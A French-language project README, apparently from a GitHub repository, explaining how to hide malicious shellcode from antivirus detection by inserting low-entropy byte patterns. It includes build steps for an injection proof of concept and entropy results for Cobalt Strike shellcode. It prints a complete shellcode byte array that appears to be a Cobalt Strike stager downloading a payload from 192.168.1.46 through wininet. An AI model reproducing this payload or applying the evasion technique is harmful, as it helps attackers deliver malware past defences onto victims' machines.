
Une technique consistant à cacher un shellcode malveillant via l'encodage de Shannon.
Une technique pour cacher du shellcode malveillant basée sur une faible entropie via le codage de Shannon.
L'entropie est la mesure du caractère aléatoire d'un ensemble de données (ici : du shellcode). Plus l'entropie est élevée, plus les données sont aléatoires. L'entropie de Shannon est un algorithme qui produit un résultat entre 0 et 8, où 8 signifie qu'il n'y a pas de motif dans les données, donc elles sont très aléatoires, et 0 signifie que les données suivent un motif.
Remarque : Consultez mon article de blog pour une explication plus détaillée de mes recherches, ainsi qu'une simple POC d'injection de shellcode Vanilla.
Clonez ce dépôt :
git clone https://github.com/kleiton0x00/Shelltropy.git
Pour l'encodeur :
Créez un nouveau projet Visual Studio et importez à la fois Entropy.h et shannonEncode.cpp, puis compilez-le simplement.
Pour la POC d'injection de shellcode (avec des appels système) :
Ouvrez le fichier de projet Visual Studio situé dans /Shelltropy/SyscallsExample/SyscallsExample/SyscallsExample.vcxproj et compilez-le simplement.
Si vous souhaitez une simple POC d'injection de shellcode avec WinAPI, consultez mon
Pour le décodeur (optionnel car inclus dans la POC d'injection de shellcode) :
Créez un nouveau projet Visual Studio et importez shannonDecode.cpp, puis compilez-le simplement.

$ python3 shellcodeFormatter.py
BYTE payload[] = {0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc8,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x75,0x72,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4f,0xff,0xff,0xff,0x5d,0x6a,0x00,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x00,0x41,0x56,0x49,0x89,0xe6,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x48,0x31,0xc9,0x48,0x31,0xd2,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x41,0x50,0x41,0x50,0x41,0xba,0x3a,0x56,0x79,0xa7,0xff,0xd5,0xeb,0x73,0x5a,0x48,0x89,0xc1,0x41,0xb8,0xfb,0x20,0x00,0x00,0x4d,0x31,0xc9,0x41,0x51,0x41,0x51,0x6a,0x03,0x41,0x51,0x41,0xba,0x57,0x89,0x9f,0xc6,0xff,0xd5,0xeb,0x59,0x5b,0x48,0x89,0xc1,0x48,0x31,0xd2,0x49,0x89,0xd8,0x4d,0x31,0xc9,0x52,0x68,0x00,0x02,0x40,0x84,0x52,0x52,0x41,0xba,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x48,0x83,0xc3,0x50,0x6a,0x0a,0x5f,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0xff,0xff,0xff,0xff,0x4d,0x31,0xc9,0x52,0x52,0x41,0xba,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x0f,0x85,0x9d,0x01,0x00,0x00,0x48,0xff,0xcf,0x0f,0x84,0x8c,0x01,0x00,0x00,0xeb,0xd3,0xe9,0xe4,0x01,0x00,0x00,0xe8,0xa2,0xff,0xff,0xff,0x2f,0x78,0x51,0x48,0x4c,0x00,0x30,0x96,0x54,0xc4,0x1f,0x1c,0xa8,0x3b,0xcb,0x64,0x4f,0xb0,0xb2,0x75,0x09,0x9f,0x7f,0x94,0x1c,0xf7,0x6a,0x53,0xc5,0x96,0xf3,0xea,0x28,0x51,0x8e,0x68,0x86,0xc4,0x4b,0x9a,0xb3,0xd6,0x54,0x82,0x22,0x90,0x89,0xbd,0x84,0xc4,0x73,0x97,0x2a,0xd9,0xbe,0x2d,0xd1,0x34,0xb9,0x18,0xb8,0x63,0xbc,0x52,0x14,0x3f,0x84,0x4e,0xeb,0xab,0x79,0x4a,0x89,0x42,0x26,0x8b,0xe7,0x12,0x48,0x00,0x55,0x73,0x65,0x72,0x2d,0x41,0x67,0x65,0x6e,0x74,0x3a,0x20,0x4d,0x6f,0x7a,0x69,0x6c,0x6c,0x61,0x2f,0x35,0x2e,0x30,0x20,0x28,0x63,0x6f,0x6d,0x70,0x61,0x74,0x69,0x62,0x6c,0x65,0x3b,0x20,0x4d,0x53,0x49,0x45,0x20,0x31,0x30,0x2e,0x30,0x3b,0x20,0x57,0x69,0x6e,0x64,0x6f,0x77,0x73,0x20,0x4e,0x54,0x20,0x36,0x2e,0x31,0x3b,0x20,0x57,0x4f,0x57,0x36,0x34,0x3b,0x20,0x54,0x72,0x69,0x64,0x65,0x6e,0x74,0x2f,0x36,0x2e,0x30,0x3b,0x20,0x4d,0x41,0x53,0x50,0x29,0x0d,0x0a,0x00,0xba,0xf1,0x47,0xbe,0x2f,0x60,0xce,0xf4,0x22,0xc0,0x41,0x82,0x1f,0xb8,0xdb,0xa9,0x01,0x08,0xe0,0xf6,0x87,0xf9,0x24,0x72,0x49,0x5b,0xf6,0xf8,0xa9,0xa1,0x08,0xc9,0x90,0xaa,0x2c,0x71,0x11,0x52,0x60,0x6a,0x94,0x86,0x80,0xc5,0xbe,0x16,0x3e,0x8d,0x15,0xc9,0xf5,0xae,0x9b,0x5d,0x77,0xc2,0x30,0x76,0x2a,0xbf,0x6a,0xc2,0xf6,0x2a,0x35,0xae,0x1d,0x4d,0xa6,0x62,0xe7,0x16,0x7a,0x25,0x05,0xc5,0x80,0x0e,0xf9,0x06,0x45,0x87,0x4d,0x52,0x20,0x5b,0x33,0xd3,0x6a,0x59,0x95,0xb7,0x56,0x1b,0xc5,0xbb,0x91,0xe3,0x97,0x82,0xd5,0xfc,0x6c,0x11,0x48,0x6a,0x64,0xf1,0xe6,0xc1,0xd4,0xef,0x75,0x74,0x20,0x58,0xfb,0x27,0x0b,0x5e,0x23,0x9a,0x87,0x86,0x1f,0x3f,0x34,0xdd,0x2c,0xfc,0x59,0x3b,0x51,0xcb,0x56,0x08,0x5d,0x85,0x5e,0x45,0x23,0x4d,0x99,0x8e,0x5f,0x8b,0x35,0x36,0x11,0xce,0x51,0x52,0x7b,0x48,0xda,0x77,0x1b,0x25,0xac,0xe5,0x05,0x9f,0x97,0x96,0xf2,0x2c,0x38,0x5a,0xcd,0x1f,0xbb,0x47,0x0e,0x55,0x60,0xab,0xe3,0x99,0x2f,0x7d,0x35,0xae,0xbc,0x68,0x69,0x5e,0x6b,0xde,0x0e,0xc0,0x6c,0x80,0x9a,0x5a,0xb4,0xfb,0x25,0xb4,0x54,0xa2,0xad,0xc3,0x19,0xf3,0x92,0x48,0xe6,0xb4,0x1d,0xac,0x89,0x00,0x41,0xbe,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x48,0x31,0xc9,0xba,0x00,0x00,0x40,0x00,0x41,0xb8,0x00,0x10,0x00,0x00,0x41,0xb9,0x40,0x00,0x00,0x00,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x41,0xb8,0x00,0x20,0x00,0x00,0x49,0x89,0xf9,0x41,0xba,0x12,0x96,0x89,0xe2,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb6,0x66,0x8b,0x07,0x48,0x01,0xc3,0x85,0xc0,0x75,0xd7,0x58,0x58,0x58,0x48,0x05,0x00,0x00,0x00,0x00,0x50,0xc3,0xe8,0x9f,0xfd,0xff,0xff,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x31,0x2e,0x34,0x36,0x00,0x5e,0x2e,0x78,0x90};
/Shelltropy/SyscallsExample/SyscallsExample/SyscallsExample.vcxprojLe concept consiste à diviser le tableau en morceaux et à insérer un motif d'octets à faible entropie entre chaque morceau. Lorsque l'échantillon est exécuté, nous devons reconstruire la charge utile originale en mémoire, en contournant la détection statique du code à haute entropie à ce stade. Il est également important de noter que le code à faible entropie à insérer peut suivre une variété de motifs, et le nombre d'insertions peut varier, ce qui permet de contourner la détection de signatures statiques. La deuxième étape consiste à combiner les morceaux d'octets à haute entropie avec les morceaux à faible entropie. Étant donné qu'après tout, nous devons restaurer le code obscurci à son état initial pour pouvoir procéder à l'étape de dés-obfuscation, la troisième tâche restaurera le tableau d'octets original en supprimant les motifs à faible entropie.


Remarque : Les résultats suivants n'ont été testés qu'avec du shellcode CS.
~ Shellcode Cobalt Strike brut par défaut
(Haute entropie) Normal : 7.062950
(Faible entropie) Encodé : 4.527140
~ Shellcode Cobalt Strike XORé
(Haute entropie) Normal : 4.583139
(Faible entropie) Encodé : 3.278284
Haute entropie (côté gauche) vs Faible entropie (côté droit) shellcode CS par défaut intégré avec des appels système (Syswhispers2) :

Lors du codage, la taille du shellcode sera 2 fois plus grande, ce qui facilite la détection de ces shellcodes encodés par l'équipe bleue / l'analyse de logiciels malveillants.
Le modèle d'injection de shellcode (utilisant Syscalls2) est copié de ce projet : https://github.com/m0rv4i/SyscallsExample